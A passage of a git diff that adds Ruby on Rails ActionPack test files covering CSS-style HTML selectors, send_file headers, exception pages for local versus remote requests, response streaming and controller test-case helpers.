+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "3", @matches[1].attributes["id"]
+ select("tr:nth-child(?n?)", 2, 2)
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "4", @matches[1].attributes["id"]
+ select("tr:nth-child(?n?)", 4, 2)
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ # Test with ? (b only).
+ select("tr:nth-child(?)", 3)
+ assert_equal 1, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ select("tr:nth-child(?)", 5)
+ assert_equal 0, @matches.size
+ end
+
+
+ def test_nth_last_child
+ parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # Last two elements.
+ select("tr:nth-last-child(-n+2)")
+ assert_equal 2, @matches.size
+ assert_equal "3", @matches[0].attributes["id"]
+ assert_equal "4", @matches[1].attributes["id"]
+ # All old elements counting from last one.
+ select("tr:nth-last-child(odd)")
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "4", @matches[1].attributes["id"]
+ end
+
+
+ def test_nth_of_type
+ parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # First two elements.
+ select("tr:nth-of-type(-n+2)")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "2", @matches[1].attributes["id"]
+ # All old elements counting from last one.
+ select("tr:nth-last-of-type(odd)")
+ assert_equal 2, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ assert_equal "4", @matches[1].attributes["id"]
+ end
+
+
+ def test_first_and_last
+ parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
+ # First child.
+ select("tr:first-child")
+ assert_equal 0, @matches.size
+ select(":first-child")
+ assert_equal 1, @matches.size
+ assert_equal "thead", @matches[0].name
+ # First of type.
+ select("tr:first-of-type")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ select("thead:first-of-type")
+ assert_equal 1, @matches.size
+ assert_equal "thead", @matches[0].name
+ select("div:first-of-type")
+ assert_equal 0, @matches.size
+ # Last child.
+ select("tr:last-child")
+ assert_equal 1, @matches.size
+ assert_equal "4", @matches[0].attributes["id"]
+ # Last of type.
+ select("tr:last-of-type")
+ assert_equal 1, @matches.size
+ assert_equal "4", @matches[0].attributes["id"]
+ select("thead:last-of-type")
+ assert_equal 1, @matches.size
+ assert_equal "thead", @matches[0].name
+ select("div:last-of-type")
+ assert_equal 0, @matches.size
+ end
+
+
+ def test_only_child_and_only_type_first_and_last
+ # Only child.
+ parse(%Q{<table><tr></tr></table>})
+ select("table:only-child")
+ assert_equal 0, @matches.size
+ select("tr:only-child")
+ assert_equal 1, @matches.size
+ assert_equal "tr", @matches[0].name
+ parse(%Q{<table><tr></tr><tr></tr></table>})
+ select("tr:only-child")
+ assert_equal 0, @matches.size
+ # Only of type.
+ parse(%Q{<table><thead></thead><tr></tr><tr></tr></table>})
+ select("thead:only-of-type")
+ assert_equal 1, @matches.size
+ assert_equal "thead", @matches[0].name
+ select("td:only-of-type")
+ assert_equal 0, @matches.size
+ end
+
+
+ def test_empty
+ parse(%Q{<table><tr></tr></table>})
+ select("table:empty")
+ assert_equal 0, @matches.size
+ select("tr:empty")
+ assert_equal 1, @matches.size
+ parse(%Q{<div> </div>})
+ select("div:empty")
+ assert_equal 1, @matches.size
+ end
+
+
+ def test_content
+ parse(%Q{<div> </div>})
+ select("div:content()")
+ assert_equal 1, @matches.size
+ parse(%Q{<div>something </div>})
+ select("div:content()")
+ assert_equal 0, @matches.size
+ select("div:content(something)")
+ assert_equal 1, @matches.size
+ select("div:content( 'something' )")
+ assert_equal 1, @matches.size
+ select("div:content( \"something\" )")
+ assert_equal 1, @matches.size
+ select("div:content(?)", "something")
+ assert_equal 1, @matches.size
+ select("div:content(?)", /something/)
+ assert_equal 1, @matches.size
+ end
+
+
+ #
+ # Test negation.
+ #
+
+
+ def test_element_negation
+ parse(%Q{<p></p><div></div>})
+ select("*")
+ assert_equal 2, @matches.size
+ select("*:not(p)")
+ assert_equal 1, @matches.size
+ assert_equal "div", @matches[0].name
+ select("*:not(div)")
+ assert_equal 1, @matches.size
+ assert_equal "p", @matches[0].name
+ select("*:not(span)")
+ assert_equal 2, @matches.size
+ end
+
+
+ def test_id_negation
+ parse(%Q{<p id="1"></p><p id="2"></p>})
+ select("p")
+ assert_equal 2, @matches.size
+ select(":not(#1)")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ select(":not(#2)")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ end
+
+
+ def test_class_name_negation
+ parse(%Q{<p class="foo"></p><p class="bar"></p>})
+ select("p")
+ assert_equal 2, @matches.size
+ select(":not(.foo)")
+ assert_equal 1, @matches.size
+ assert_equal "bar", @matches[0].attributes["class"]
+ select(":not(.bar)")
+ assert_equal 1, @matches.size
+ assert_equal "foo", @matches[0].attributes["class"]
+ end
+
+
+ def test_attribute_negation
+ parse(%Q{<p title="foo"></p><p title="bar"></p>})
+ select("p")
+ assert_equal 2, @matches.size
+ select(":not([title=foo])")
+ assert_equal 1, @matches.size
+ assert_equal "bar", @matches[0].attributes["title"]
+ select(":not([title=bar])")
+ assert_equal 1, @matches.size
+ assert_equal "foo", @matches[0].attributes["title"]
+ end
+
+
+ def test_pseudo_class_negation
+ parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
+ select("p")
+ assert_equal 2, @matches.size
+ select("p:not(:first-child)")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ select("p:not(:nth-child(2))")
+ assert_equal 1, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ end
+
+
+ def test_negation_details
+ parse(%Q{<p id="1"></p><p id="2"></p><p id="3"></p>})
+ assert_raise(ArgumentError) { select(":not(") }
+ assert_raise(ArgumentError) { select(":not(:not())") }
+ select("p:not(#1):not(#3)")
+ assert_equal 1, @matches.size
+ assert_equal "2", @matches[0].attributes["id"]
+ end
+
+
+ def test_select_from_element
+ parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
+ select("div")
+ @matches = @matches[0].select("p")
+ assert_equal 2, @matches.size
+ assert_equal "1", @matches[0].attributes["id"]
+ assert_equal "2", @matches[1].attributes["id"]
+ end
+
+
+protected
+
+ def parse(html)
+ @html = HTML::Document.new(html).root
+ end
+
+ def select(*selector)
+ @matches = HTML.selector(*selector).select(@html)
+ end
+
+end
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
new file mode 100644
index 0000000..8ecc1c7
--- /dev/null
+++ b/actionpack/test/controller/send_file_test.rb
@@ -0,0 +1,199 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+module TestFileUtils
+ def file_name() File.basename(__FILE__) end
+ def file_path() File.expand_path(__FILE__) end
+ def file_data() @data ||= File.open(file_path, 'rb') { |f| f.read } end
+end
+
+class SendFileController < ActionController::Base
+ include TestFileUtils
+ layout "layouts/standard" # to make sure layouts don't interfere
+
+ attr_writer :options
+ def options
+ @options ||= {}
+ end
+
+ def file
+ send_file(file_path, options)
+ end
+
+ def data
+ send_data(file_data, options)
+ end
+end
+
+class SendFileTest < ActionController::TestCase
+ tests SendFileController
+ include TestFileUtils
+
+ Mime::Type.register "image/png", :png unless defined? Mime::PNG
+
+ def setup
+ @controller = SendFileController.new
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ end
+
+ def test_file_nostream
+ @controller.options = { :stream => false }
+ response = nil
+ assert_nothing_raised { response = process('file') }
+ assert_not_nil response
+ body = response.body
+ assert_kind_of String, body
+ assert_equal file_data, body
+ end
+
+ def test_file_stream
+ response = nil
+ assert_nothing_raised { response = process('file') }
+ assert_not_nil response
+ assert_respond_to response.stream, :each
+ assert_respond_to response.stream, :to_path
+
+ require 'stringio'
+ output = StringIO.new
+ output.binmode
+ output.string.force_encoding(file_data.encoding)
+ response.body_parts.each { |part| output << part.to_s }
+ assert_equal file_data, output.string
+ end
+
+ def test_file_url_based_filename
+ @controller.options = { :url_based_filename => true }
+ response = nil
+ assert_nothing_raised { response = process('file') }
+ assert_not_nil response
+ assert_equal "attachment", response.headers["Content-Disposition"]
+ end
+
+ def test_data
+ response = nil
+ assert_nothing_raised { response = process('data') }
+ assert_not_nil response
+
+ assert_kind_of String, response.body
+ assert_equal file_data, response.body
+ end
+
+ def test_headers_after_send_shouldnt_include_charset
+ response = process('data')
+ assert_equal "application/octet-stream", response.headers["Content-Type"]
+
+ response = process('file')
+ assert_equal "application/octet-stream", response.headers["Content-Type"]
+ end
+
+ # Test that send_file_headers! is setting the correct HTTP headers.
+ def test_send_file_headers_bang
+ options = {
+ :type => Mime::PNG,
+ :disposition => 'disposition',
+ :filename => 'filename'
+ }
+
+ # Do it a few times: the resulting headers should be identical
+ # no matter how many times you send with the same options.
+ # Test resolving Ticket #458.
+ @controller.headers = {}
+ @controller.send(:send_file_headers!, options)
+ @controller.send(:send_file_headers!, options)
+ @controller.send(:send_file_headers!, options)
+
+ h = @controller.headers
+ assert_equal 'image/png', @controller.content_type
+ assert_equal 'disposition; filename="filename"', h['Content-Disposition']
+ assert_equal 'binary', h['Content-Transfer-Encoding']
+
+ # test overriding Cache-Control: no-cache header to fix IE open/save dialog
+ @controller.send(:send_file_headers!, options)
+ @controller.response.prepare!
+ assert_equal 'private', h['Cache-Control']
+ end
+
+ def test_send_file_headers_with_disposition_as_a_symbol
+ options = {
+ :type => Mime::PNG,
+ :disposition => :disposition,
+ :filename => 'filename'
+ }
+
+ @controller.headers = {}
+ @controller.send(:send_file_headers!, options)
+ assert_equal 'disposition; filename="filename"', @controller.headers['Content-Disposition']
+ end
+
+ def test_send_file_headers_with_mime_lookup_with_symbol
+ options = {
+ :type => :png
+ }
+
+ @controller.headers = {}
+ @controller.send(:send_file_headers!, options)
+
+ assert_equal 'image/png', @controller.content_type
+ end
+
+
+ def test_send_file_headers_with_bad_symbol
+ options = {
+ :type => :this_type_is_not_registered
+ }
+
+ @controller.headers = {}
+ assert !@controller.send(:send_file_headers!, options)
+ end
+
+ def test_send_file_headers_guess_type_from_extension
+ {
+ 'image.png' => 'image/png',
+ 'image.jpeg' => 'image/jpeg',
+ 'image.jpg' => 'image/jpeg',
+ 'image.tif' => 'image/tiff',
+ 'image.gif' => 'image/gif',
+ 'movie.mpg' => 'video/mpeg',
+ 'file.zip' => 'application/zip',
+ 'file.unk' => 'application/octet-stream',
+ 'zip' => 'application/octet-stream'
+ }.each do |filename,expected_type|
+ options = { :filename => filename }
+ @controller.headers = {}
+ @controller.send(:send_file_headers!, options)
+ assert_equal expected_type, @controller.content_type
+ end
+ end
+
+ def test_send_file_with_default_content_disposition_header
+ process('data')
+ assert_equal 'attachment', @controller.headers['Content-Disposition']
+ end
+
+ def test_send_file_without_content_disposition_header
+ @controller.options = {:disposition => nil}
+ process('data')
+ assert_nil @controller.headers['Content-Disposition']
+ end
+
+ %w(file data).each do |method|
+ define_method "test_send_#{method}_status" do
+ @controller.options = { :stream => false, :status => 500 }
+ assert_nothing_raised { assert_not_nil process(method) }
+ assert_equal 500, @response.status
+ end
+
+ define_method "test_send_#{method}_content_type" do
+ @controller.options = { :stream => false, :content_type => "application/x-ruby" }
+ assert_nothing_raised { assert_not_nil process(method) }
+ assert_equal "application/x-ruby", @response.content_type
+ end
+
+ define_method "test_default_send_#{method}_status" do
+ @controller.options = { :stream => false }
+ assert_nothing_raised { assert_not_nil process(method) }
+ assert_equal 200, @response.status
+ end
+ end
+end
diff --git a/actionpack/test/controller/show_exceptions_test.rb b/actionpack/test/controller/show_exceptions_test.rb
new file mode 100644
index 0000000..69bf4b7
--- /dev/null
+++ b/actionpack/test/controller/show_exceptions_test.rb
@@ -0,0 +1,112 @@
+require 'abstract_unit'
+
+module ShowExceptions
+ class ShowExceptionsController < ActionController::Base
+ use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+ use ActionDispatch::DebugExceptions
+
+ before_action only: :another_boom do
+ request.env["action_dispatch.show_detailed_exceptions"] = true
+ end
+
+ def boom
+ raise 'boom!'
+ end
+
+ def another_boom
+ raise 'boom!'
+ end
+
+ def show_detailed_exceptions?
+ request.local?
+ end
+ end
+
+ class ShowExceptionsTest < ActionDispatch::IntegrationTest
+ test 'show error page from a remote ip' do
+ @app = ShowExceptionsController.action(:boom)
+ self.remote_addr = '208.77.188.166'
+ get '/'
+ assert_equal "500 error fixture\n", body
+ end
+
+ test 'show diagnostics from a local ip if show_detailed_exceptions? is set to request.local?' do
+ @app = ShowExceptionsController.action(:boom)
+ ['127.0.0.1', '127.0.0.127', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
+ self.remote_addr = ip_address
+ get '/'
+ assert_match(/boom/, body)
+ end
+ end
+
+ test 'show diagnostics from a remote ip when env is already set' do
+ @app = ShowExceptionsController.action(:another_boom)
+ self.remote_addr = '208.77.188.166'
+ get '/'
+ assert_match(/boom/, body)
+ end
+ end
+
+ class ShowExceptionsOverriddenController < ShowExceptionsController
+ private
+
+ def show_detailed_exceptions?
+ params['detailed'] == '1'
+ end
+ end
+
+ class ShowExceptionsOverriddenTest < ActionDispatch::IntegrationTest
+ test 'show error page' do
+ @app = ShowExceptionsOverriddenController.action(:boom)
+ get '/', {'detailed' => '0'}
+ assert_equal "500 error fixture\n", body
+ end
+
+ test 'show diagnostics message' do
+ @app = ShowExceptionsOverriddenController.action(:boom)
+ get '/', {'detailed' => '1'}
+ assert_match(/boom/, body)
+ end
+ end
+
+ class ShowExceptionsFormatsTest < ActionDispatch::IntegrationTest
+ def test_render_json_exception
+ @app = ShowExceptionsOverriddenController.action(:boom)
+ get "/", {}, 'HTTP_ACCEPT' => 'application/json'
+ assert_response :internal_server_error
+ assert_equal 'application/json', response.content_type.to_s
+ assert_equal({ :status => '500', :error => 'boom!' }.to_json, response.body)
+ end
+
+ def test_render_xml_exception
+ @app = ShowExceptionsOverriddenController.action(:boom)
+ get "/", {}, 'HTTP_ACCEPT' => 'application/xml'
+ assert_response :internal_server_error
+ assert_equal 'application/xml', response.content_type.to_s
+ assert_equal({ :status => '500', :error => 'boom!' }.to_xml, response.body)
+ end
+
+ def test_render_fallback_exception
+ @app = ShowExceptionsOverriddenController.action(:boom)
+ get "/", {}, 'HTTP_ACCEPT' => 'text/csv'
+ assert_response :internal_server_error
+ assert_equal 'text/html', response.content_type.to_s
+ end
+ end
+
+ class ShowFailsafeExceptionsTest < ActionDispatch::IntegrationTest
+ def test_render_failsafe_exception
+ @app = ShowExceptionsOverriddenController.action(:boom)
+ @exceptions_app = @app.instance_variable_get(:@exceptions_app)
+ @app.instance_variable_set(:@exceptions_app, nil)
+ $stderr = StringIO.new
+
+ get '/', {}, 'HTTP_ACCEPT' => 'text/json'
+ assert_response :internal_server_error
+ assert_equal 'text/plain', response.content_type.to_s
+ ensure
+ @app.instance_variable_set(:@exceptions_app, @exceptions_app)
+ $stderr = STDERR
+ end
+ end
+end
diff --git a/actionpack/test/controller/streaming_test.rb b/actionpack/test/controller/streaming_test.rb
new file mode 100644
index 0000000..6ee6444
--- /dev/null
+++ b/actionpack/test/controller/streaming_test.rb
@@ -0,0 +1,26 @@
+require 'abstract_unit'
+
+module ActionController
+ class StreamingResponseTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ def self.controller_path
+ 'test'
+ end
+
+ def basic_stream
+ %w{ hello world }.each do |word|
+ response.stream.write word
+ response.stream.write "\n"
+ end
+ response.stream.close
+ end
+ end
+
+ tests TestController
+
+ def test_write_to_stream
+ get :basic_stream
+ assert_equal "hello\nworld\n", @response.body
+ end
+ end
+end
diff --git a/actionpack/test/controller/test_case_test.rb b/actionpack/test/controller/test_case_test.rb
new file mode 100644
index 0000000..38b9794
--- /dev/null
+++ b/actionpack/test/controller/test_case_test.rb
@@ -0,0 +1,986 @@
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+class TestCaseTest < ActionController::TestCase
+ class TestController < ActionController::Base
+ def no_op
+ render :text => 'dummy'
+ end
+
+ def set_flash
+ flash["test"] = ">#{flash["test"]}<"
+ render :text => 'ignore me'
+ end
+
+ def set_flash_now
+ flash.now["test_now"] = ">#{flash["test_now"]}<"
+ render :text => 'ignore me'
+ end
+
+ def set_session
+ session['string'] = 'A wonder'
+ session[:symbol] = 'it works'
+ render :text => 'Success'
+ end
+
+ def reset_the_session
+ reset_session
+ render :text => 'ignore me'
+ end
+
+ def render_raw_post
+ raise ActiveSupport::TestCase::Assertion, "#raw_post is blank" if request.raw_post.blank?
+ render :text => request.raw_post
+ end
+
+ def render_body
+ render :text => request.body.read
+ end
+
+ def test_params
+ render :text => params.inspect
+ end
+
+ def test_uri
+ render :text => request.fullpath
+ end
+
+ def test_format
+ render :text => request.format
+ end
+
+ def test_query_string
+ render :text => request.query_string
+ end
+
+ def test_protocol
+ render :text => request.protocol
+ end
+
+ def test_headers
+ render text: request.headers.env.to_json
+ end
+
+ def test_html_output
+ render :text => <<HTML
+<html>
+ <body>
+ <a href="/"><img src="/images/button.png" /></a>
+ <div id="foo">
+ <ul>
+ <li class="item">hello</li>
+ <li class="item">goodbye</li>
+ </ul>
+ </div>
+ <div id="bar">
+ <form action="/somewhere">
+ Name: <input type="text" name="person[name]" id="person_name" />
+ </form>
+ </div>
+ </body>
+</html>
+HTML
+ end
+
+ def test_xml_output
+ response.content_type = "application/xml"
+ render :text => <<XML
+<?xml version="1.0" encoding="UTF-8"?>
+<root>
+ <area>area is an empty tag in HTML, raising an error if not in xml mode</area>
+</root>
+XML
+ end
+
+ def test_only_one_param
+ render :text => (params[:left] && params[:right]) ? "EEP, Both here!" : "OK"
+ end
+
+ def test_remote_addr
+ render :text => (request.remote_addr || "not specified")
+ end
+
+ def test_file_upload
+ render :text => params[:file].size
+ end
+
+ def test_send_file
+ send_file(File.expand_path(__FILE__))
+ end
+
+ def redirect_to_same_controller
+ redirect_to :controller => 'test', :action => 'test_uri', :id => 5
+ end
+
+ def redirect_to_different_controller
+ redirect_to :controller => 'fail', :id => 5
+ end
+
+ def create
+ head :created, :location => 'created resource'
+ end
+
+ def delete_cookie
+ cookies.delete("foo")
+ render :nothing => true
+ end
+
+ def test_assigns
+ @foo = "foo"
+ @foo_hash = {:foo => :bar}
+ render :nothing => true
+ end
+
+ private
+
+ def generate_url(opts)
+ url_for(opts.merge(:action => "test_uri"))
+ end
+ end
+
+ def setup
+ super
+ @controller = TestController.new
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ @request.env['PATH_INFO'] = nil
+ @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+ r.draw do
+ get ':controller(/:action(/:id))'
+ end
+ end
+ end
+
+ class ViewAssignsController < ActionController::Base
+ def test_assigns
+ @foo = "foo"
+ render :nothing => true
+ end
+
+ def view_assigns
+ { "bar" => "bar" }
+ end
+ end
+
+ def test_raw_post_handling
+ params = Hash[:page, {:name => 'page name'}, 'some key', 123]
+ post :render_raw_post, params.dup
+
+ assert_equal params.to_query, @response.body
+ end
+
+ def test_body_stream
+ params = Hash[:page, { :name => 'page name' }, 'some key', 123]
+
+ post :render_body, params.dup
+
+ assert_equal params.to_query, @response.body
+ end
+
+ def test_document_body_and_params_with_post
+ post :test_params, :id => 1
+ assert_equal("{\"id\"=>\"1\", \"controller\"=>\"test_case_test/test\", \"action\"=>\"test_params\"}", @response.body)
+ end
+
+ def test_document_body_with_post
+ post :render_body, "document body"
+ assert_equal "document body", @response.body
+ end
+
+ def test_document_body_with_put
+ put :render_body, "document body"
+ assert_equal "document body", @response.body
+ end
+
+ def test_head
+ head :test_params
+ assert_equal 200, @response.status
+ end
+
+ def test_head_params_as_sting
+ assert_raise(NoMethodError) { head :test_params, "document body", :id => 10 }
+ end
+
+ def test_options
+ options :test_params
+ assert_equal 200, @response.status
+ end
+
+ def test_process_without_flash
+ process :set_flash
+ assert_equal '><', flash['test']
+ end
+
+ def test_process_with_flash
+ process :set_flash, "GET", nil, nil, { "test" => "value" }
+ assert_equal '>value<', flash['test']
+ end
+
+ def test_process_with_flash_now
+ process :set_flash_now, "GET", nil, nil, { "test_now" => "value_now" }
+ assert_equal '>value_now<', flash['test_now']
+ end
+
+ def test_process_with_session
+ process :set_session
+ assert_equal 'A wonder', session['string'], "A value stored in the session should be available by string key"
+ assert_equal 'A wonder', session[:string], "Test session hash should allow indifferent access"
+ assert_equal 'it works', session['symbol'], "Test session hash should allow indifferent access"
+ assert_equal 'it works', session[:symbol], "Test session hash should allow indifferent access"
+ end
+
+ def test_process_with_session_arg
+ process :no_op, "GET", nil, { 'string' => 'value1', :symbol => 'value2' }
+ assert_equal 'value1', session['string']
+ assert_equal 'value1', session[:string]
+ assert_equal 'value2', session['symbol']
+ assert_equal 'value2', session[:symbol]
+ end
+
+ def test_process_merges_session_arg
+ session[:foo] = 'bar'
+ get :no_op, nil, { :bar => 'baz' }
+ assert_equal 'bar', session[:foo]
+ assert_equal 'baz', session[:bar]
+ end
+
+ def test_merged_session_arg_is_retained_across_requests
+ get :no_op, nil, { :foo => 'bar' }
+ assert_equal 'bar', session[:foo]
+ get :no_op
+ assert_equal 'bar', session[:foo]
+ end
+
+ def test_process_overwrites_existing_session_arg
+ session[:foo] = 'bar'
+ get :no_op, nil, { :foo => 'baz' }
+ assert_equal 'baz', session[:foo]
+ end
+
+ def test_session_is_cleared_from_controller_after_reset_session
+ process :set_session
+ process :reset_the_session
+ assert_equal Hash.new, @controller.session.to_hash
+ end
+
+ def test_session_is_cleared_from_request_after_reset_session
+ process :set_session
+ process :reset_the_session
+ assert_equal Hash.new, @request.session.to_hash
+ end
+
+ def test_response_and_request_have_nice_accessors
+ process :no_op
+ assert_equal @response, response
+ assert_equal @request, request
+ end
+
+ def test_process_with_request_uri_with_no_params
+ process :test_uri
+ assert_equal "/test_case_test/test/test_uri", @response.body
+ end
+
+ def test_process_with_request_uri_with_params
+ process :test_uri, "GET", :id => 7
+ assert_equal "/test_case_test/test/test_uri/7", @response.body
+ end
+
+ def test_process_with_old_api
+ assert_deprecated do
+ process :test_uri, :id => 7
+ assert_equal "/test_case_test/test/test_uri/7", @response.body
+ end
+ end
+
+ def test_process_with_request_uri_with_params_with_explicit_uri
+ @request.env['PATH_INFO'] = "/explicit/uri"
+ process :test_uri, "GET", :id => 7
+ assert_equal "/explicit/uri", @response.body
+ end
+
+ def test_process_with_query_string
+ process :test_query_string, "GET", :q => 'test'
+ assert_equal "q=test", @response.body
+ end
+
+ def test_process_with_query_string_with_explicit_uri
+ @request.env['PATH_INFO'] = '/explicit/uri'
+ @request.env['QUERY_STRING'] = 'q=test?extra=question'
+ process :test_query_string
+ assert_equal "q=test?extra=question", @response.body
+ end
+
+ def test_multiple_calls
+ process :test_only_one_param, "GET", :left => true
+ assert_equal "OK", @response.body
+ process :test_only_one_param, "GET", :right => true
+ assert_equal "OK", @response.body
+ end
+
+ def test_assigns
+ process :test_assigns
+ # assigns can be accessed using assigns(key)
+ # or assigns[key], where key is a string or
+ # a symbol
+ assert_equal "foo", assigns(:foo)
+ assert_equal "foo", assigns("foo")
+ assert_equal "foo", assigns[:foo]
+ assert_equal "foo", assigns["foo"]
+
+ # but the assigned variable should not have its own keys stringified
+ expected_hash = { :foo => :bar }
+ assert_equal expected_hash, assigns(:foo_hash)
+ end
+
+ def test_view_assigns
+ @controller = ViewAssignsController.new
+ process :test_assigns
+ assert_equal nil, assigns(:foo)
+ assert_equal nil, assigns[:foo]
+ assert_equal "bar", assigns(:bar)
+ assert_equal "bar", assigns[:bar]
+ end
+
+ def test_assert_tag_tag
+ process :test_html_output
+
+ # there is a 'form' tag
+ assert_tag :tag => 'form'
+ # there is not an 'hr' tag
+ assert_no_tag :tag => 'hr'
+ end
+
+ def test_assert_tag_attributes
+ process :test_html_output
+
+ # there is a tag with an 'id' of 'bar'
+ assert_tag :attributes => { :id => "bar" }
+ # there is no tag with a 'name' of 'baz'
+ assert_no_tag :attributes => { :name => "baz" }
+ end
+
+ def test_assert_tag_parent
+ process :test_html_output
+
+ # there is a tag with a parent 'form' tag
+ assert_tag :parent => { :tag => "form" }
+ # there is no tag with a parent of 'input'
+ assert_no_tag :parent => { :tag => "input" }
+ end
+
+ def test_assert_tag_child
+ process :test_html_output
+
+ # there is a tag with a child 'input' tag
+ assert_tag :child => { :tag => "input" }
+ # there is no tag with a child 'strong' tag
+ assert_no_tag :child => { :tag => "strong" }
+ end
+
+ def test_assert_tag_ancestor
+ process :test_html_output
+
+ # there is a 'li' tag with an ancestor having an id of 'foo'
+ assert_tag :ancestor => { :attributes => { :id => "foo" } }, :tag => "li"
+ # there is no tag of any kind with an ancestor having an href matching 'foo'
+ assert_no_tag :ancestor => { :attributes => { :href => /foo/ } }
+ end
+
+ def test_assert_tag_descendant
+ process :test_html_output
+
+ # there is a tag with a descendant 'li' tag
+ assert_tag :descendant => { :tag => "li" }
+ # there is no tag with a descendant 'html' tag
+ assert_no_tag :descendant => { :tag => "html" }
+ end
+
+ def test_assert_tag_sibling
+ process :test_html_output
+
+ # there is a tag with a sibling of class 'item'
+ assert_tag :sibling => { :attributes => { :class => "item" } }
+ # there is no tag with a sibling 'ul' tag
+ assert_no_tag :sibling => { :tag => "ul" }
+ end
+
+ def test_assert_tag_after
+ process :test_html_output
+
+ # there is a tag following a sibling 'div' tag
+ assert_tag :after => { :tag => "div" }
+ # there is no tag following a sibling tag with id 'bar'
+ assert_no_tag :after => { :attributes => { :id => "bar" } }
+ end
+
+ def test_assert_tag_before
+ process :test_html_output
+
+ # there is a tag preceding a tag with id 'bar'
+ assert_tag :before => { :attributes => { :id => "bar" } }
+ # there is no tag preceding a 'form' tag
+ assert_no_tag :before => { :tag => "form" }
+ end
+
+ def test_assert_tag_children_count
+ process :test_html_output
+
+ # there is a tag with 2 children
+ assert_tag :children => { :count => 2 }
+ # in particular, there is a <ul> tag with two children (a nameless pair of <li>s)
+ assert_tag :tag => 'ul', :children => { :count => 2 }
+ # there is no tag with 4 children
+ assert_no_tag :children => { :count => 4 }
+ end
+
+ def test_assert_tag_children_less_than
+ process :test_html_output
+
+ # there is a tag with less than 5 children
+ assert_tag :children => { :less_than => 5 }
+ # there is no 'ul' tag with less than 2 children
+ assert_no_tag :children => { :less_than => 2 }, :tag => "ul"
+ end
+
+ def test_assert_tag_children_greater_than
+ process :test_html_output
+
+ # there is a 'body' tag with more than 1 children
+ assert_tag :children => { :greater_than => 1 }, :tag => "body"
+ # there is no tag with more than 10 children
+ assert_no_tag :children => { :greater_than => 10 }
+ end
+
+ def test_assert_tag_children_only
+ process :test_html_output
+
+ # there is a tag containing only one child with an id of 'foo'
+ assert_tag :children => { :count => 1,
+ :only => { :attributes => { :id => "foo" } } }
+ # there is no tag containing only one 'li' child
+ assert_no_tag :children => { :count => 1, :only => { :tag => "li" } }
+ end
+
+ def test_assert_tag_content
+ process :test_html_output
+
+ # the output contains the string "Name"
+ assert_tag :content => /Name/
+ # the output does not contain the string "test"
+ assert_no_tag :content => /test/
+ end
+
+ def test_assert_tag_multiple
+ process :test_html_output
+
+ # there is a 'div', id='bar', with an immediate child whose 'action'
+ # attribute matches the regexp /somewhere/.
+ assert_tag :tag => "div", :attributes => { :id => "bar" },
+ :child => { :attributes => { :action => /somewhere/ } }
+
+ # there is no 'div', id='foo', with a 'ul' child with more than
+ # 2 "li" children.
+ assert_no_tag :tag => "div", :attributes => { :id => "foo" },
+ :child => {
+ :tag => "ul",
+ :children => { :greater_than => 2,
+ :only => { :tag => "li" } } }
+ end
+
+ def test_assert_tag_children_without_content
+ process :test_html_output
+
+ # there is a form tag with an 'input' child which is a self closing tag
+ assert_tag :tag => "form",
+ :children => { :count => 1,
+ :only => { :tag => "input" } }
+
+ # the body tag has an 'a' child which in turn has an 'img' child
+ assert_tag :tag => "body",
+ :children => { :count => 1,
+ :only => { :tag => "a",
+ :children => { :count => 1,
+ :only => { :tag => "img" } } } }
+ end
+
+ def test_should_not_impose_childless_html_tags_in_xml
+ process :test_xml_output
+
+ begin
+ $stderr = StringIO.new
+ assert_select 'area' #This will cause a warning if content is processed as HTML
+ $stderr.rewind && err = $stderr.read
+ ensure
+ $stderr = STDERR
+ end
+
+ assert err.empty?
+ end
+
+ def test_assert_tag_attribute_matching
+ @response.body = '<input type="text" name="my_name">'
+ assert_tag :tag => 'input',
+ :attributes => { :name => /my/, :type => 'text' }
+ assert_no_tag :tag => 'input',
+ :attributes => { :name => 'my', :type => 'text' }
+ assert_no_tag :tag => 'input',
+ :attributes => { :name => /^my$/, :type => 'text' }
+ end
+
+ def test_assert_tag_content_matching
+ @response.body = "<p>hello world</p>"
+ assert_tag :tag => "p", :content => "hello world"
+ assert_tag :tag => "p", :content => /hello/
+ assert_no_tag :tag => "p", :content => "hello"
+ end
+
+ def test_assert_generates
+ assert_generates 'controller/action/5', :controller => 'controller', :action => 'action', :id => '5'
+ assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action"}
+ assert_generates 'controller/action/5', {:controller => "controller", :action => "action", :id => "5", :name => "bob"}, {}, {:name => "bob"}
+ assert_generates 'controller/action/7', {:id => "7", :name => "bob"}, {:controller => "controller", :action => "action"}, {:name => "bob"}
+ assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action", :name => "bob"}, {}
+ end
+
+ def test_assert_routing
+ assert_routing 'content', :controller => 'content', :action => 'index'
